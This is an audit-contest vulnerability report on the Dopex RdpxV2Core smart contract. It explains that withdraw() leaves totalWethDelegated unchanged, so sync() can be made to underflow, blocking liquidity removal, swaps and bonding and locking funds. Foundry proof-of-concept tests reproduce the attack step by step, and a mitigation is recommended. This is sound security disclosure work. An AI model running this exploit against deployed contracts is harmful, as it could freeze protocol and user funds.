Dopex - ElCid's results

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L991

Vulnerability details

Impact

When a user delegates WETH by calling the addToDelegate() function, the state variable totalWethDelegated is increased in the following way: totalWethDelegated += _amount; But this variable isn't subtracted when the same user withdraws unused delegated WETH through the withdraw() function. This implies that the user has the ability to delegate a substantial quantity of WETH (updating "totalWethDelegated" with that specific amount), and subsequently withdraw that amount without causing any impact on the value of totalWethDelegated.

The area of main concern regarding this problem is the sync() function in RdpxV2Core contract. This function is supposed to "sync asset reserves with contract balances" and uses the totalWethDelegatedstate variable by subtracting it to the balance of the reserveAsset (in the case of it being WETH):

if (weth == reserveAsset[i].tokenAddress) {
   balance = balance - totalWethDelegated;
} 

A malicious user can easily make sync() underflow. He simply has to increase the totalWethDelegated to a value superior to the contract's WETH balance.

Every function that calls the sync() function becomes unusable, namely:

• UniV3LiquidityAMO._sendTokensToRdpxV2Core()
• ReLPContract.reLP()

From here the effects of this bug start to spread, due to the importance of the functions affected.

In the case of UniV3LiquidityAMO._sendTokensToRdpxV2Core(), the following functions become unavailable:

• UniV3LiquidityAMO.addLiquidity()
• UniV3LiquidityAMO.removeLiquidity()
• UniV3LiquidityAMO.swap()

We should pay special attention to UniV3LiquidityAMO.removeLiquidity() because it prevents the protocol from removing liquidity, locking all liquidity provided to Uniswap V3.

For the scenario involving the execution of ReLPContract.reLP(), the subsequent functions become inaccessible due to their interaction with it:

• RdpxV2Core.bond()
• RdpxV2Core.bondWithDelegate()

Proof of Concept

Add the following lines to the import section of Unit.t.sol:

import { Test, stdError } from "forge-std/Test.sol"; //@elcid add stdError
//Uniswap //@elcid
import { UniV3LiquidityAMO } from "contracts/amo/UniV3LiquidityAMO.sol";
import { IUniswapV3Factory } from "contracts/uniswap_V3/IUniswapV3Factory.sol";
import "../../contracts/uniswap_V3/IUniswapV3Pool.sol";

Add the following tests to Unit.t.sol:

function testAddLiquidityDoS() public { //@elcid
    UniV3LiquidityAMO uniV3LiquidityAMO;
    
    //@elcid Attack
    uint256 userBalance = weth.balanceOf(address(this)); //18700000000000000000000
    deal(address(weth), address(rdpxV2Core), 100 * 1e18); //100000000000000000000
    
    rdpxV2Core.addToDelegate(500 * 1e18, 10 * 1e8); //@elcid malicious user adds WETH to delegate
    rdpxV2Core.totalWethDelegated(); //@elcid totalWethDelegated is updated accordingly
    
    rdpxV2Core.withdraw(0); //@elcid malicious user withdraws all unused Weth
    uint256 totalWethDelegated = rdpxV2Core.totalWethDelegated(); //@elcid totalWethDelegated is not updated accordingly
    
    vm.expectRevert(stdError.arithmeticError);
    rdpxV2Core.sync(); //@elcid fails with underflow
    

    //@elcid Taken from testUniV3Amo() in Periphery.t.sol
    // create a v3 pool
    address pool = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984)
      .createPool(address(rdpx), address(weth), 500);
    // initalize a price in the uni v3 pool
    IUniswapV3Pool(pool).initialize(1771845812700903892492222464);

    uniV3LiquidityAMO = new UniV3LiquidityAMO(
      address(rdpx),
      address(rdpxV2Core)
    );

    rdpxV2Core.approveContractToSpend(
      address(rdpx),
      address(uniV3LiquidityAMO),
      type(uint256).max
    );

    rdpxV2Core.approveContractToSpend(
      address(weth),
      address(uniV3LiquidityAMO),
      type(uint256).max
    );

    rdpx.transfer(address(rdpxV2Core), 50e18);
    weth.transfer(address(rdpxV2Core), 11e18);
    
    //@elcid test addLiquidity DoS
    int24 minTick = -887270;
    int24 maxTick = 887270;
    uint24 fee = 500;

    UniV3LiquidityAMO.AddLiquidityParams memory params = UniV3LiquidityAMO
      .AddLiquidityParams(
        address(rdpx),
        address(weth),
        minTick,
        maxTick,
        fee,
        1e18,
        1e18,
        0,
        0
      );
    vm.expectRevert(stdError.arithmeticError);
    uniV3LiquidityAMO.addLiquidity(params); //@elcid fails with underflow
  }

  function testRemoveLiquidityDoS() public { //@elcid
    UniV3LiquidityAMO uniV3LiquidityAMO;

    //@elcid Add Liquidity -> Taken from testUniV3Amo() in Periphery.t.sol
    // create a v3 pool
    address pool = IUniswapV3Factory(0x1F98431c8aD98523631AE4a59f267346ea31F984)
      .createPool(address(rdpx), address(weth), 500);
    // initalize a price in the uni v3 pool
    IUniswapV3Pool(pool).initialize(1771845812700903892492222464);

    uniV3LiquidityAMO = new UniV3LiquidityAMO(
      address(rdpx),
      address(rdpxV2Core)
    );

    rdpxV2Core.approveContractToSpend(
      address(rdpx),
      address(uniV3LiquidityAMO),
      type(uint256).max
    );

    rdpxV2Core.approveContractToSpend(
      address(weth),
      address(uniV3LiquidityAMO),
      type(uint256).max
    );

    rdpx.transfer(address(rdpxV2Core), 50e18);
    weth.transfer(address(rdpxV2Core), 11e18);
    
    int24 minTick = -887270;
    int24 maxTick = 887270;
    uint24 fee = 500;

    UniV3LiquidityAMO.AddLiquidityParams memory params = UniV3LiquidityAMO
      .AddLiquidityParams(
        address(rdpx),
        address(weth),
        minTick,
        maxTick,
        fee,
        1e18,
        1e18,
        0,
        0
      );
    uniV3LiquidityAMO.addLiquidity(params);
    
    //@elcid Attack
    uint256 userBalance = weth.balanceOf(address(this)); //18700000000000000000000
    deal(address(weth), address(rdpxV2Core), 100 * 1e18); //100000000000000000000
    
    rdpxV2Core.addToDelegate(500 * 1e18, 10 * 1e8); //@elcid malicious user adds WETH to delegate
    rdpxV2Core.totalWethDelegated(); //@elcid totalWethDelegated is updated accordingly
    
    rdpxV2Core.withdraw(0); //@elcid malicious user withdraws all unused Weth
    uint256 totalWethDelegated = rdpxV2Core.totalWethDelegated(); //@elcid totalWethDelegated is not updated accordingly
    
    //@elcid test removeLiquidity DoS and Frozen Funds
    vm.expectRevert(stdError.arithmeticError);    
    uniV3LiquidityAMO.removeLiquidity(0, 0, 0); //@elcid Fails with underflow
    //protocol cannot remove added Liquidity. Funds are locked.

    //@elcid test swap DoS
    vm.expectRevert(stdError.arithmeticError);    
    uniV3LiquidityAMO.swap(address(rdpx), address(weth), 500, 1e16, 0, 0);

  }

Tools Used

Manual Review

Recommended Mitigation Steps

Update totalWethDelegated in withdraw function.

Assessed type

Math